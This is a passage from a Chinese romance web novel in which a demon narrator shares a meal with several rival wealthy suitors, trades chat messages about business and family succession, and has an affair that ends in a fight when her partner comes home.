他?也跟着点头,“你的怀疑很有?道理,但?可惜,我的目的不?是这?个。” 我歪头看他?。 宗朔笑了下,手指交叠,朝我眨了下眼睛:“来?玩个游戏吧,如果输了,我就把一切都给你,但?如果我赢了,你就要跟我一起?吃饭。” “我不?喜欢玩游戏。” “那好吧。”他?非常迅速地妥协了,叹了口气说,“打开旁边的抽屉,把里面的东西拿出来?。” 我警惕地敲了下抽屉,在他?似笑非笑的注视里,将抽屉打开,发现里面堆叠着一堆白纸合同。 字密密麻麻地对面纸张,在最下面留下了他?的签名?,而?最上方写着几个大字:股份转让合同。 我疑惑地看向他?。 “我的一切。” 他?说:“既然?我输了,那都给你了。” 我寻思也没有?玩游戏啊。 就像天上掉馅饼,我的原则是既然?掉都掉了,那就全部收了。 但?是我仍然?有?一丝的疑惑。 为什么? 这?几天,我的脑子里充满了疑惑。 宗朔的声音在耳边幽幽响起?:“我有?骗过你吗?” 好吧。我拿起?笔签下字,美滋滋地对着合同看来?看去,掏出手机拍了几张照片,然?后开心地玩起?椅子,好奇地看向仍然?悠闲地喝水的人:“你怎么去开公司了?” “因为这?个最赚嘛。” 他?耸耸肩:“虽然?风险大,但?是回报也大。” “那你住在哪?” “怎么?”他?笑了下,“要跟我回去?” “不?是。” 我说:“我想看看你住多?大的。” “和以前一样,没啥变化。” 他?像个养生的老头,捧着的杯子里还有?红色的枸杞,看上去怎么都不?对劲。 我摸着下巴,撑着手臂打量他?,他?也任由我看着,慢慢的演变为了眨眼比赛。 在生理泪水即将流出的那一刻,宗朔撑不?住闭上眼,发出一声懊恼的啧声,抬手揉起?眼睛,叹气道:“人老了,真是哪里都不行了。” “你已经到养胃的阶段了吗?” “这?个嘛……要试试才知道吧。” 他?朝我眨了下眼,半眯着眼睛,忽然?脚下一滑,办公椅自动滑到我身边。 他?看向被我握着的手机:“不?过,你身边的狗多到不需要我这个吧。” 手机正?在弹出消息,时不?时震动一下。 想到堆积如山的消息,我不?由叹了口气:“太多?了,如果有?人专门帮我回消息就好了。” “养狗还要找中介,你真是只想要好处啊。” “当然?啊。”我说,“不?应该都想着好的吗?” “嗯……” 宗朔歪了下头,和我并排着看落地窗外的风景:“利己是人性?,那利他?是什么,你要说我伟大吗。” “宗朔。” 我拍了下他?的肩膀:“你伟大。” 视线相对时,他?的眼睛眨了下,白色部分有?很多?红血丝,眼睛下方黑眼圈浓重,穿着松垮的、领口大开的衬衣,露出一片明显的锁骨。 他?用手抵着太阳穴,仍然?是一副半梦不?醒的模样,从我进来?的时候起?,他?就像是熬夜五天五夜的人,终于能够休息似的。 微长?的头发垂落在肩膀上,他?困倦地垂下眼睛,又打了个哈欠。 “我有?私心,在看到你之前,我可以称得上伟大,但?现在,我不?保证了。” 宗朔:“你知道,我现在想做什么吗?” “做什么?” “把你关起?来?。” 他?说:“绑架、囚禁、劫持……什么都好,让其他?人再?也见不?到你,让你永远只能待在我身边。” 这?犯法了吧。 我:“抱歉,我拒绝,而?且现在我比你有?钱。” 一声叹气声泄出,他?的手落到下巴处,撑着脸,嗤笑一声:“那你把我关起?来?好了。” 他?是真的想坐牢,那些传言不?是空穴来?风。 我才不?做违法的事。 我摇头拒绝,认真地说:“我给你自由,你爱做什么就去做什么。” 宗朔被逗笑,跟着摇了摇头。 办公椅坐着格外舒服,电脑肯定也是顶配。 我转头看办公桌上的电脑,美滋滋地摸来?摸去,发现鼠标摸起?来?手感极佳,打开电脑,里面竟然?全部是游戏,没有?任何工作文件。 再?看向他?那副颓丧的脸,熬夜五天五夜的肾虚感找到源头。 我笃定道:“你又熬夜打游戏了。” “最近出活动呢,肝了下。” 我顺手点开游戏,在他?的办公室里开始打游戏,耳边时不?时传来?倒吸气的声响,等队友开始骂人,宗朔再?也坐不?住,开麦骂了回去。 我酣畅淋漓地打了一下午游戏,而?宗朔已经口干舌燥,朝我竖起?大拇指:“你还和以前一样菜。” “你的嘴巴还是这?么毒。” 他?打开手机看了眼时间,问:“吃饭?” 我想了想,点头同意。 反正?他?请客,我说什么也要去蹭一顿。 一下午胃里塞满了薄荷味的情感,让我懒洋洋的,心情愉悦。 抛开不?讲,宗朔真是让我无比舒心,他?还准备了帽子和口罩,但?完全没必要,因为我们去私人餐厅吃饭。 但?他?还是戴上了,说要过一把明星瘾。 我觉得他?还是继续犯牢瘾比较好。 一路上,我问他?建立公司的事,都被他?随便?糊弄过去,他?说的就像是玩游戏那么轻松,真就随便?动动手指就能完成,让我也开始想公司的事。 肯定会很好玩吧。 “你要真想,那当明星可就不?太合适。” “为什么?” “粉丝和路人会追着你的名?字,无论到哪里,他?们都不?会松懈的。” 他?朝车窗外看了一眼:“私生饭没跟着来?追车?真神奇,你的粉丝到底是什么构成的。” “当然?追过。” 只不?过被收拾了,听车千亦说,应该是建了个群,让粉丝自己管自己,之后才慢慢变好。 “那拍到我怎么办?” 宗朔煞有?介事地说:“当时候来?警告我,让我离你远一点,我是不?是还可以装做我们之间真有?点什么,乘机捞一笔粉丝的钱。” “开玩笑的。” 他?笑了笑,“这?种?事,听上去更像是某人会干的事。” 这?种?没道德又没品的事,完全符合邛浚的作风。 我恍然?大悟,怪不?得邛浚说什么多?收钱,“你和邛浚还有?联系?你们真的串通好了。” “他?做宣传的能力?还是很好的。” 宗朔眯了下眼睛:“人是贱了点,各取所需而?已。” “有?他?这?种?随时会咬一口的狗在身边,你不?怕吗?” “他?咬你了?”我反问。 “咬了。”他?说,“下次我会还回去的。” 邛浚在其他?人眼里是条疯狗,那颜升就是疯狗中的疯狗,史?诗级的疯狗。 当迈入餐厅的那个瞬间,史?诗级疯狗敏锐地看向我,脚步飞快来?到面前。 “真巧啊,说想见你就真的见到了,该说我们是心有?灵犀好呢,还是老天安排得好呢?” 我转眼看向宗朔,结果这?人已经像是不?认识我似的,自顾自地迈向不?远处的座位。 颜升也看了过去,看着宗朔戴着口罩和帽子,调笑道:“你想潜规则哪位同事?” “你怎么在这?。” “有?人邀约就来?了。” 他?说着眼睛一亮,拉着我手腕往那边走去,笑盈盈地说:“既然?来?了就一起?吧,认识一些对你有?用的人。” “上次的泉越泽也在,不?如今天来?收拾一下他?吧。” 我原本想转身,但?闻言又停下脚,“他?也在?” “对哦。” 颜升:“虽然?他?弟弟不?在,但?有?他?就够了,对吧?” 他?捏着我的肩膀,弯起?眼睛,笑得像只狐狸,金色发丝垂落在额前,看上去心情高昂,他?压低声音,说:“上次之后,你都不?怎么回消息,我还以为你不?满意我呢……” 他?勾起?唇角,露出尖尖的虎牙。 满意嘛……我觉得他?的牙很尖,而?且动作狂放,而?且话尤其多?,像只苍蝇似的不?停地嗡嗡嗡。 “一般。” 颜升皱起?眉,尤其困扰地说:“一般?” 他?真就停下脚步,脸上多?出几分真情实感的疑惑。 “哇哦。这?可不?行,我还没有?做什么是一般的地步,你喜欢哪种?类型的?霍亦瑀平时怎么做的?你更满意他?还是我?你可以提出意见,我的学习能力?很快哦,不?可能会让你觉得一般——” 一连串的话像泡泡一样从嘴里冒出,他?自己说服自己,脸上重新扬起?笑。 颜升推着我,一路上话就没停过,经过一条室内花园式小道,走到私人包厢门口。 在推开门前,他?仍然?不?停歇地说:“下次,我会好好地重新让你体验到美妙之处,相信我。” 门打开了。 鼻子比视线先一步闻到了熟悉的人。 颜升的手放在我的肩膀上,笑盈盈地对里面的人说:“真巧啊,刚好遇到,我们一起?吃饭吧。” 坐在正?北方的霍亦瑀没什么表情,视线落在他?身上, 空气安静几秒。 泉越泽坐在右手边,拿起?桌上的杯子品了口,同样面无表情,他?瞥了我一眼,低下头,继续给自己倒水。 而?剩下的两人面容有?点熟悉,一个人出来?打圆场,笑道:“这?么巧?那就一起?吧,本来?就是临时聚餐,不?用太拘束。” 她看了下身边的座位,又扫向霍亦瑀,脸上闪过迟疑。 而?另一位则摆摆手,说:“随便?坐吧。” 颜升松开手,状似贴心地替我安排:“看看老霍的表情,真是个忮夫啊,快去吧,我们只是碰巧一起?进来?而?已,醋味已经飘到我面前了。” 他?说着,自己在泉越泽旁边坐下。 我坐在泉越泽左边,霍亦瑀的右边。 桌上摆放着菜品,我来?过几次,这?里的菜值得被我放进胃里,装着玩也能冒出香味。 坐下的时候,霍亦瑀给我递来?擦手巾,唇角泛起?轻微的弧度,看不?出他?的情绪,“很久没来?这?里吃饭了,下次想来?,可以告诉我。” “临时想起?而?已。” “真巧。”颜升插嘴,“我也是临时想起?。” 我瞥了他?一眼,而?他?只是撑着脸,满不?在乎地朝旁边的人笑。 原本是打算整泉越泽的,但?我现在觉得颜升才是还被打的那个。 我一边擦手,一边看桌上的菜品。 旁边的泉越泽收回手,他?的动作格外刻意,惹得我看了他?一眼,而?他?则避开我的视线,面无表情地盯着桌面。 “泉总这?是想吃饭了。” 颜升又跳了出来?,昂了下。下巴:“这?里的吃的可比A市美味,上次离开H市,真的让我无比怀念在现在的吃食住行,以前真是身在福中不?知福啊。” 他?看向泉越泽,友善地说:“泉总来?了这?边,应该想不?起?A市了吧。” “各有?各的好处。” 泉越泽淡淡道:“我的主观评价和颜总相反。” “看来?我们合不?来?。” 颜升叹了口气:“泉总来?这?边开展的业务,最近怎么样了。” 泉越泽的嘴唇隐隐抬起?讥讽的弧度,但?他?仍然?不?动神色,说:“正?在准备阶段,没什么情况。” “咱们先吃饭。” 旁边的女士提起?筷子,温和地说:“总不?能都看着吧,今天小聚一场,也是为了解开大家的矛盾。” “各人有?各人的口味,今天大家尽兴就好。” 她看向霍亦瑀,顺口道:亦瑀啊,别光看着,你也要照顾下旁边的人啊。” 霍亦瑀点了下头,浅色的眸子弯起?,往我的碗里夹了个绿色的甜品。 我一边吃一边观察他?们,像是在看剧似的津津有?味。 “说起?来?,前不?久我听到一点风声。” 另一边的女士开口:“泉总的新提案很不?错,有?很多?人想要投资,我也觉得不?错,不?如下次也一起?看看。” “随时欢迎。” 泉越泽说:“现在只是一个小项目。” “小项目。”颜升出声的时候,对面的女士明显露出无奈的表情。 大家都烦他?,但?他?一点自觉性?都没有?。 颜升乐此不?疲地找麻烦,筷子握在手里就没有?动过,而?是侧身转向泉越泽,饶有?兴趣地说:“小项目的话,也让我看看吧,我和泉总也是不?打不?相识,关系好着呢。” 泉越泽的脸色有?点差,语气冷淡:“我们似乎并没有?那么好。” “那再?打一场?” 此言一出,其余两人脸色变化,又开始打圆场。 “什么时候的事?” 霍亦瑀突然?问:“你们的矛盾是什么时候的事?” “只是小事啦。” 他?一问,颜升反而?耸了耸肩,敷衍地说:“已经解决了,不?信你问泉总。” 现在轮到泉越泽的回合了。 我跟着其余人的目光一起?看去。 泉越泽极快地瞥了我一眼,像是湖面闪过的光,快到捕捉不?到。”都过去了。”他?一只手放在腿上,上面还有?些青紫,”不?是什么大事。” “既然?这?样。” 霍亦瑀笑了下,“那我就来?说件大事。” 你也有?? 我和其余人又看向霍亦瑀。 他?浅淡的棕眸看向我,弯了下,手放在我的肩膀上,像是在安抚似的轻捏了下。 “之前公司出事,手段低劣,我花了一段时间来?找源头,最后竟然?是有?人下药,整出一场闹剧。” “像这?种?手段,我可没见过。” 他?的视线轻飘飘地瞥向颜升,“也不?知道是从哪里学来?的伎俩。” 颜升脸色瞬间阴沉,变脸速度之快,几乎是在瞬间,就从笑变成面无表情。 他?和霍亦瑀对视几秒后,视线扫过我,忽然?又笑了起?来?。 “对啊,这?种?手段我可没见过,是哪个不?入流的做的。” “我最讨厌这?种?背后插刀的事了,藏在暗处,总是给出其不?意的一刀,让人恨不?得把他?揪出来?,但?怎么也抓不?到尾巴,以后只能吃个闷亏。” 他?环顾四周,说:“你们不?觉得很可怕吗?” 霍亦瑀和泉越泽没说话,只剩下两位女士不?知道做何表态,最后用喝水掩饰过去。 “要我说。”颜升歪头说,“可能是你公司自己的人搞的鬼。” 霍亦瑀:“是吗?” “对啊。” 他?老神在在地回复:“知人知面不?知心。” 我嚼嚼嚼,去看泉越泽的表情,怀疑可能是他?搞得鬼,但?他?皱着眉,放在桌上的手逐渐握成拳。 注意到我的视线,他?扫视过来?。 深绿色的眼睛在灯光下如宝石般闪烁,对视几秒,他?移开视线,将手收到桌下,隐约咬住后槽牙,额头绷起?青筋,像是在忍耐着痛疼。 等我移开视线,他?又把手放上桌。 饭桌上气氛极其沉默,除了两位女士,剩下三个人里,只有?颜升在进食,而?且笑得很诡异。 最后其他?人出来?打圆场,才把诡异的饭局拉上正?轨。 霍亦瑀默不?作声,给我又捻了个圆圆的糕点。 我将糕点放进嘴里,忽然?感受到裤脚被人蹭了下,像是被猫的尾巴撩过,触感若隐若现。 我立刻看向旁边的泉越泽。 看着老实,竟然?做出这?种?事! 他?盯着桌面不?动,直到我的视线引起?桌上的人注意,才转头看向我,眉头紧锁,表情严肃。 “怎么了?” 颜升关切地问:“是不?是他?手动作幅度太大,碰到你了。” 泉越泽瞬间冷脸,语气不?好地说:“我的手根本没抬起?来?。” “上次意外之后,我的左手受伤,做不?了大弧度。” “哇哦。”颜升惊讶地说,“发生什么了,竟然?受了这?么严重的伤,会不?会变成残疾啊?” “你今天的话很多?。” 霍亦瑀放下筷子,淡淡道:“最近发生了什么值得高兴的事吗?” 颜升眨了下眼,扬起?灿烂的笑:“对啊,不?愧是我的好兄弟,最近好事频发啊。” “我还以为你家那位兄弟回来?后,你会有?担忧。” 霍亦瑀瞥了他?一眼,嘴角挂着笑,温和地说:“看来?是我多?虑了。” 颜升终于安静下来?,桌上再?没有?人说话,饭局诡异地结束了。 因为刚才的挑衅,我原本想作弄泉越泽,使?劲踩了他?几脚,但?他?的眉头越皱越紧,始终没有?向我看来?,最后结束时,他?也没有?做出回应。 我有?点疑惑,刚才真的是他?吗? 聚餐结束,所有?人都像是受不?了似的离开,经过大厅时,角落的位置上已经没有?宗朔的踪影。 看手机时,我才发现他?给我发过消息。 [宗伟朔大]:五年过去,你的欣赏水平堪忧,这?种?人你也要 [宗伟朔大]:没想到泉卓逸他?哥也在,打起?来?告诉我一声 [宗伟朔大]:还不?结束,那只有?下次再?请你了 …… [宗伟朔大]:回去了,不?用送我 [世界第一恶魔大人]:你有?良好的自我管理意识 [宗伟朔大]:还是你教得好 [宗伟朔大]:现在他?应该在你旁边吧,不?怕被发现吗? 我转向旁边,浅色的眸子正?悄无声息地注视着我,霍亦瑀移开视线,看向窗外,放在膝盖上的手指轻点。 害怕被发现吗? 我想了想,得出一个结论:如果在床上被抓到,我可能害怕一秒钟。 看着风景的人突然?开口:“买房子的话,你想好买在哪里了吗?” “还在选。” “那好,选好了告诉我。” 我:“你要帮我?” “能让你开心的事,我不?会少做。” “不?过。”他?说,“我们也坦诚一点,对彼此,我不?希望我们存在间隙。” “如果你有?事,会告诉我的吧。” 我满心满眼想着房子,一边拿手机一边敷衍地回复:“会啦,我全部告诉你。” 他?没有?回答。 时隔多?日再?次同床共枕,我被他?搂在怀里,做了一个噩梦—— 作者有话说:宗朔比以前更养胃了,此人越写越胃,也是喝上枸杞茶,开始玩养生了。 大泉也是,咋蠢成这样,全程都在想冬子到底想做什么,保持警惕,认为自己被勾引了(何意味),家里祖传的恋痛,有在默默地爽到,但努力纠正自己的想法中…… 竟然已经快到九十章,窝努力得可怕(挺胸),第一次写这么长,争取12月底完结,总之!咱们再奋斗一个月![眼镜] 第90章 噩梦来势汹汹, 铺天盖地的拥挤感、窒息感涌来。 梦里被泰山压顶,怎么也喘不过来气,好不容易从山里爬出?来,面前就?是被龙摧毁的窝。 它在我头顶盘旋, 用金色的竖瞳死死地扫视大地, 只要我冒出?头, 就?会立马冲下来把我抓走。 我趴在草丛里数草叶,一动不敢动。 好一会儿,上空的风声停止,我以为它走了, 刚想抬头看一眼,结果热乎乎的呼吸喷在头顶,打湿了我的头毛。 金色的竖瞳近在咫尺。 属于龙的、尖锐的牙齿咧开, 红色舌头将我卷进?,放在舌头上,无论我怎么拍打它都不停下。 我被龙抓住了。 等待着我的,是那个堆满金银珠宝的巢穴。 虽然听起来很有钱, 但钱对我来说一点?用处也没有,以前的我还是个实际的恶魔,除了吃的,只想躺在柔软的床上。 金银珠宝是对人类有用的东西, 对我一点?用处也没有。 我不知道为什么它执着于把我抓回去, 一个恶魔和龙住在一起像什么样子, 我让它把洞让给我, 它又不肯,一屁股压在我身上,差点?把我压成恶魔干。 龙学会了恶魔的语言。 它在我耳边低语。 “我不会放过你的。” 它说:“你偷走了我宝贵的东西。” “撒旦啊。” 我说:“你去告上帝好了, 你的心脏我已经还给你了,就?在你的胸腔里,你听,它还在砰砰地跳动。” “它不在了。” 龙固执地说:“你把它偷走了。” 等它睡着,我的耳边响起另一道声音,即使距离遥远,也能够通过魔力将声音传递,清晰而空灵,属于天使的声音。 “你已经很久没来看我了。” “我被抓走了。” “谁?”他说,“是兽人、恶魔还是人类?” “是龙。” “那条讨厌的恶龙。” 他的声音毫无波澜:“那你就?把它杀掉好了。” “我的力气太小了。”我想了想,“还是就?待在这吧,反正也不愁吃喝。” “你应该回来。” 他的声音逐渐远离,但清晰无比:“无论你在哪里,我会去找到你。” 噩梦骤停。 等醒来时,身边已经空无一人。 很久没有梦到以前的事,一梦到就?是陈年?旧账。 脑海里还残留着平淡的、像是机器人似的声音,一时分不清究竟是真的听到了,但只是做梦。 但我怎么也想不起他的长相。 可能是精神力还不够,如果人类看到天使,脑子里会一片浆糊。 过去十几?年?,恶魔身躯在时空裂缝里逐渐修复,也不知道他会不会找到我。 我身上有很多定位魔法,或者其他什么东西,说不定不仅是他,其他人也会找过来。 要是能趁机解决几?个仇人就?好了,传说落入时空裂缝的,无论什么种族都难逃一死,反正我在裂缝里,他们进?来都得?被削掉半条命。 没想到我捡回一条命。 果然我是主角吧。 我在床上瘫了会,拿起手机,车千亦给我发?来消息,她最近会很忙,忙着处理?公司的事,所以让我少出?去晃悠,就?算出?去也要做好伪装措施。 手机顶部弹出?天气提示:今天会下大暴雨。 这下我更?不可能出?去了。 我慢悠悠挪到客厅,久违地躺在沙发?上看电视,熟练地调到电影频道,但总在放老片子,翻来覆去就?那几?部。 《忠犬八公的故事》我至少看了五遍,永远等待的狗,能让好多人类掉眼泪,栾明?尤其喜欢。 正把电影当背景音,手机震了两?下。 [邛浚(保持警惕)]:天气真坏,我都不想出?去上班 [邛浚(保持警惕)]:(图片)(图片) 我懒得?点?开,打算已读不回。 [邛浚(保持警惕)]:我拍到了有趣的事,就?在图片里 于是我还是开了。 第一张是天空的照片,角落里是某栋写字楼,玻璃幕墙反射着阴沉天色,像要塌下来似的。 看上去没什么特别的。 第二张是一个男人的背影,在机场,周围簇拥着穿黑西装的安保,阵仗像明?星出?街,中间的男人长发?及肩,背影气质特别,正抬手撩发?,露出?脖颈上狰狞的疤痕。 像是被荆棘划伤,他的脖子伤痕累累。 我仔细想想了在娱乐圈里讨厌的人,发?现没有。 所以邛浚拍明星干嘛? [世?界第一恶魔大人]:你在兼职狗仔吗? [邛浚(保持警惕)]:是的哦 [邛浚(保持警惕)]:我在跟踪一个来头很大的人,你会对他感兴趣的 又在装神弄鬼,邛浚是自学成才,还是从颜升那学的? [世?界第一恶魔大人]:再说把你删了 [邛浚(保持警惕)]:哎呀 [邛浚(保持警惕)]:霍亦瑀的弟弟,他回国咯(小熊跳舞.gif) 我知道霍亦瑀有亲人,但他们被赶到了国外,平时从来没有联系过。 偶尔几?次霍亦瑀的助理?说起陌生的名字,他脸上毫无波澜。 我后知后觉地想起,原来那时他弟弟的名字。 叫什么来着,记不起来了,但印象里很难听。 他是霍亦瑀同母异父的弟弟,母亲去世?后就?被送走,再无音讯。 [世?界第一恶魔大人]:和我有什么关?系?难不成他是明?星,要回来跟我抢资源? 我瞬间警惕,虽然我也不爱工作,但如果有人要跟我抢,那绝对不允许! [邛浚(保持警惕)]:他才不会跟你抢,他要跟霍亦瑀抢啦 [邛浚(保持警惕)]:他爸死了,也不知道从哪里知道的新的遗嘱,最近H市要变天咯 轰隆—— 窗外暴雨倾盆。 密集的雨幕模糊了风景,冲刷着尘垢,沿着落地窗蜿蜒而下。 我发?了会儿呆,环顾四周,决定今天就?定下房子,在浦真天发?来的备选里,我用高中做题的ABCD大法,选了一套价格不高不低的。 发?给霍亦瑀后,他很快回复了。 [Y.Y]:暴雨不宜出?行 [Y.Y]:我让小朱去帮忙看合同,直接记下你名下 [世?界第一恶魔大人]:感恩有你 [Y.Y]:今天我有事,回不来 [世?界第一恶魔大人]:(小熊哭泣.jpg) 我欢呼一声,躺在沙发?上开始看电影,屋外的雨声噼里啪啦,很适合躺着睡觉。 手机又震动两?声,是宗朔发?来消息。 [宗伟朔大]:打游戏吗? [世?界第一恶魔大人]:今天下雨 [宗伟朔大]:游戏里可不会下雨 [宗伟朔大]:没想到今天我也遇到泉卓逸他哥了,他好像心情很不好,你可以开心一下了 [世?界第一恶魔大人]:下次你看到他,记得?在心里骂他 [宗伟朔大]:遵命 [宗伟朔大]:泉卓逸联系你了吗?用他更?能气到这位吧 [世?界第一恶魔大人]:不用说,我早就?掌控了他的命脉 不过从那天后,泉卓逸就?没发?过消息,泉越泽肯定做了什么,想想他气得?不行的样子,我躺在沙发?上暗爽。 [宗朔(伟大)]:可惜,泉卓逸离不开他哥,以前骂得?多凶,最后还不是灰溜溜回去了,所以啊,经济依赖这种事,最难割舍 我忽然想到自己?的资产。 虽然都在我名下,但实际管理?的是霍亦瑀和车千亦,昨天去过基金公司后,我琢磨着能投资什么,发?现大部分钱都动不了,零散到手没多少。 这么看,我和泉卓逸算一类人。 [世?界第一恶魔大人]:我要开公司,任命你为总经理? [宗朔(伟大)]:忘记了吗?你已经有公司了 对哦。昨天签完合同后,我已经是有公司的人了。 但是这种东西怎么变现,我到底有多少钱?我真的该雇个人每天播报资产。 [宗朔(伟大)]:所以,老板什么时候来视察? 这句话让我通体舒畅。 [世?界第一恶魔大人]:你等着吧,我可不是黑心老板 有公司的话,我的资产是不是也该从霍亦瑀那儿分出?来?我可是有领地意?识的恶魔,能分开最好。 窗外狂风大作,吹得?花园里的遮阳棚哗哗响,我放下手机,跑到落地窗前。 暴雨无情冲刷着大地,远处腾起寒雾,灯光在雨幕中隐约亮起,树木被吹得?弯了腰,马路两?旁空无一人。 雨声淅沥,室内却干燥温暖,隔绝了狂风暴雨,我闲情逸致地欣赏着天气表演。 我不喜欢下雨。 因为下雨湿漉漉的,水汽附着皮肤,呼吸都带着潮意?,泥土和灰尘的气息涌进?鼻腔,那是雨的味道。 天空灰暗,像要塌下来。 我躺在落地窗前,半梦半醒间手机又开始震。 这就?是手机加太多人的下场,人类发?明?手机后,就?像拥有一个共生物。 以前没有手机的时候,我是怎么活着的? 对哦,可以用传声。 噩梦里的声音再次幻觉般闪过,最后那句话越来越像是真的。 我摇摇头,把脑子里的幻觉甩了出?去。 拿起手机一看,颜升两?个字蹦进?视野里。 [颜升(病情待定)]:宝贝~无聊吗? [世?纪第一恶魔大人]:? 他被什么东西附体了吗?不对,他不附身别的东西就?是好的了。 [颜升(病情待定)]:我好无聊啊,而且心情也不好 [颜升(病情待定)]:肯定是因为昨天的饭太难吃了,不仅难吃,还很难看 [世?界第一恶魔大人]:泉越泽也没有丑到这种程度 [颜升(病情待定)]:你在维护他?不要啦,我们应该一起讲他的坏话,像你和柯觅山那样,你喜欢他? [世?界第一恶魔大人]:你能正常点?吗? [颜升(病情待定)]:我只是太喜欢你了,世?界上怎么会像你这样的人,无论怎么看我们都超级合适啊 [颜升(病情待定)]:昨天看不惯的人可不止一个,我们才是更?应该在一起的那个,不是吗? 我还没看完消息,新的就?弹出?来了,像是窗外的暴雨一样急躁。 [颜升(病情待定)]:昨天你说一般,是认真的吗? [颜升(病情待定)]:我回去练了 [颜升(病情待定)]:(视频) 一段只拍嘴部的视频弹出?来。 舌头舔过红色的樱桃,唇下痣晃眼,樱桃被含住,再出?现时梗已打结,果肉不翼而飞。 [颜升(病情待定)]:我会让你满意?的 [颜升(病情待定)]:开门 我愣了下,鼻子嗅嗅,果然闻到丝丝缕缕的鲜花饼气息,紧接着,耳边响起不紧不慢的敲门声,往楼下一看,果不其然看了亮眼的跑车。 颜升真是个神经病。 泉卓逸的病情可能还比他稳定。 其实我原本是想打人的,但是吧…… 反复观摩这个视频,我心念一动,慢悠悠地起身打开门。 湿漉漉的颜升站在门前,他被雨淋过,金发?贴在额前,雨珠顺着下滑,啪嗒一声落在低声。 衣服也被淋湿了,显露出?结实的身体,若隐若现的线条让人忍不住多看两?眼。 呼吸时,他的胸膛起伏脖,颈上的项链闪着微光。 他朝我伸出?舌头,吐出?湿润的、绿色的樱桃梗。 我倒吸凉气:“视频是刚才拍的?!” “对啊,在车上。”他笑下,眼睛弯成月牙。 话音落下的瞬间,颜升俯下身,急迫地用手捧起我脸,贪婪地啄吻,呼吸间吐出?含糊的字眼。 “我等不及了。” 他说:“从昨天开始,我就?等不及了。” 等不及什么? 走路左撞右撞,颜升像是一条蛇,手臂紧紧地缠着我,他扯掉上衣,将项链塞进?我的手里,漆黑的眼睛落进?光,紧紧地盯着我。 窗外暴雨哗啦,浸润大地。 呼吸在雨声中起伏,手指在脊背间滑下。 颜升状态异常兴奋,止不住地笑,甚至牵着我的手来掐他的脖子,旁边的手机不停震动,被他一把丢开,拉住我,额头抵在我的胸口,发?出?满足的喟叹。 不得?不说,他的确进?步神速。 窗外的雨越来越大,掀起狂风呼啸,而室内却愈发?温暖,热意?在指尖绽开,几?乎凝结成实体。 颜升说话停不下来,杂乱无章,几?乎没有逻辑,翻来覆去地问?我是什么感觉,又开始拿昨天的事说话,笑得?像个喝醉的狐狸。 不知道过了多久,窗外的光逐渐暗淡,我懒洋洋地翻了个面,颜升的胸膛贴在我的后脑勺,止不住地低笑。 胸膛震得?耳朵痒。 “你笑什么?” “第二次,我就?进?来了。”他悠闲地说,“上次你还不准进?。” “下次,我是不是就?能穿他的衣服?” 他为什么执着于穿霍亦瑀的衣服? 我不耐烦地推他:“你有病啊。” “对啊。”他恬不知耻地往我身边凑,还用虎牙咬我,“不知道为什么,在你身边我就?开始发?病。” 我清醒了一秒,认真地问?:“精神病?” “取名叫‘栾水冬综合征’怎么样?” “好恶心。” 我踹他,却被他抱紧腿,不紧不慢地揉捏。他忽然问?:“平时霍亦瑀在家,会做什么?” “他不会回家。” “真是工作狂啊,最近有得?他忙,那就?只有我这个朋友来帮照顾了。” 他的视线在其他地方巡视,落在更?衣间上,笑盈盈地说:“说不定不用下次,现在就?能用上。” “你赶紧走。” 我有点?烦他了:“我命令你,现在就?出?去。” “用完就?丢啊?”颜升故作可怜,“我可是推了会议,千里迢迢赶来的。” 我不理?他,使劲推他后背,他却赖着不动,甚至低头吻我的手背。 “他不是今天不回来吗?怕什么。” “而且,他又不是不知道我们的事。” 颜升眯起眼:“这种在你身边安插眼线的男人,真可怕,你做什么他都知道,不觉得?烦吗?” 我不搭话,推推推,全?力推推推。 “果然还是会烦的吧。”他若有所思,“维持关?系最重要的是新鲜感,你和他五年?,早该腻了,他本来就?很无趣,但我不一样,你做什么我都支持。就?算你想出?轨,我也能帮你找……” 他皱眉:“嗯……还是算了,想想就?不爽。” “你知道吗?”他忽然说,“霍亦瑀要倒霉了。” 我白?了他一眼,说:“他一直挺倒霉的。” “但这次更?倒霉。”颜升笑得?灿烂,“真好,我就?想看他倒霉,最好一直倒霉下去。” “你真是他朋友?” “正因为是朋友,”他仍笑着,“我才这么讨厌他。” “我最恨别人背叛。” “你不会吧?”他注视着我,又忍不住落下几?个吻。我烦得?推开他,翻身要把他赶下床。 他笑着躲闪,像泥鳅似的在床上翻腾。 忽然。 雨声中,响起一道清晰的电子音。 我看向卧室门,动作顿住。 颜升也听见了,他飞快起身,闪进?更?衣室。 脚步声渐近,停在门外。 该不该开灯?我想着看不清更?好,于是躺回原位,在紧张中开始思考人生,像这种场景一般被叫做抓小三,但只是抓小三而已,跟我没关?系。 小三已经动作迅速地躲起来了。 是不是该穿件衣服? 犹豫间,我还是把衣服套上了。 下一秒,门开了。 窗外惊雷炸响,照亮了他面无表情的脸。 黑亮的头发?上点?缀着几?颗雨珠,西装也浸润着像是某种动物皮毛的亮光,但很快光暗淡下去,看不到任何亮光,他的上半身笼罩在黑暗里。 夹杂着湿气的、幽幽的酒味飘来。 都怪手机。 我懊恼地想,都怪视频让我忘记不准上楼的准则了。 霍亦瑀站在原地没动,房间里安静得?只能听到外面的雨声,哗啦啦,像是倒下成千上万的玻璃珠。 “你回来啦?”我试探着问? “……” 霍亦瑀依旧不言,而是解开手腕处的扣子,沉重的、凝成实质的视线落在我身上。 被人注视时,寒毛竖立,像是有人在耳边吹了口风。 “他在哪?” 我想了想,指向更?衣室。 他三两?步迈进?更?衣间,紧接着噼里啪啦的声响在房间里回荡,几?乎像是爆炸似的,人体碰撞,拳拳到肉。 我望向窗外,雷电闪烁,雷声轰鸣,真就?像是要世?界末日了。 但比世?界末日更?先到的还是手机消息。 [浦真天]:小冬,我下周想回A市一趟,你要一起吗? [世?界第一恶魔大人]:回去干嘛? [浦真天]:可能有明?子的消息 我有预感,可能真要快抵达世?界末日的预感。 更?衣室的声响终于停下来,有人踉跄地走出?来,嘶哑地低笑:“下手真狠啊,可惜了,你还打不死我。” “在你对我使绊子的那天,你怎么没想过我会咬回来呢?霍亦瑀,你真是个傻。屌。” “滚。” 霍亦瑀扔下手表,扯掉缠在手上的领带,语气冷得?像冰块:“从我家出?去。” “下次我会再来的。” 颜升笑道:“反正你们什么关?系也不算。” 他朝我挥了下手,步履轻快地离开房间,十分没素质地不关?门。 现在霍亦瑀是什么表情呢? 我盯着立在不远处的人,想借闪电看清他的表情。 伤心?难过?愤怒? 他应该露出?点?我没见过的表情吧。 霍亦瑀一言不发?,捡起地上的衣服,最后坐在床边,背对着我。 我:“你在生气吗?” “你觉得?呢?” 我拍拍旁边的位置:“那你过来点?。” 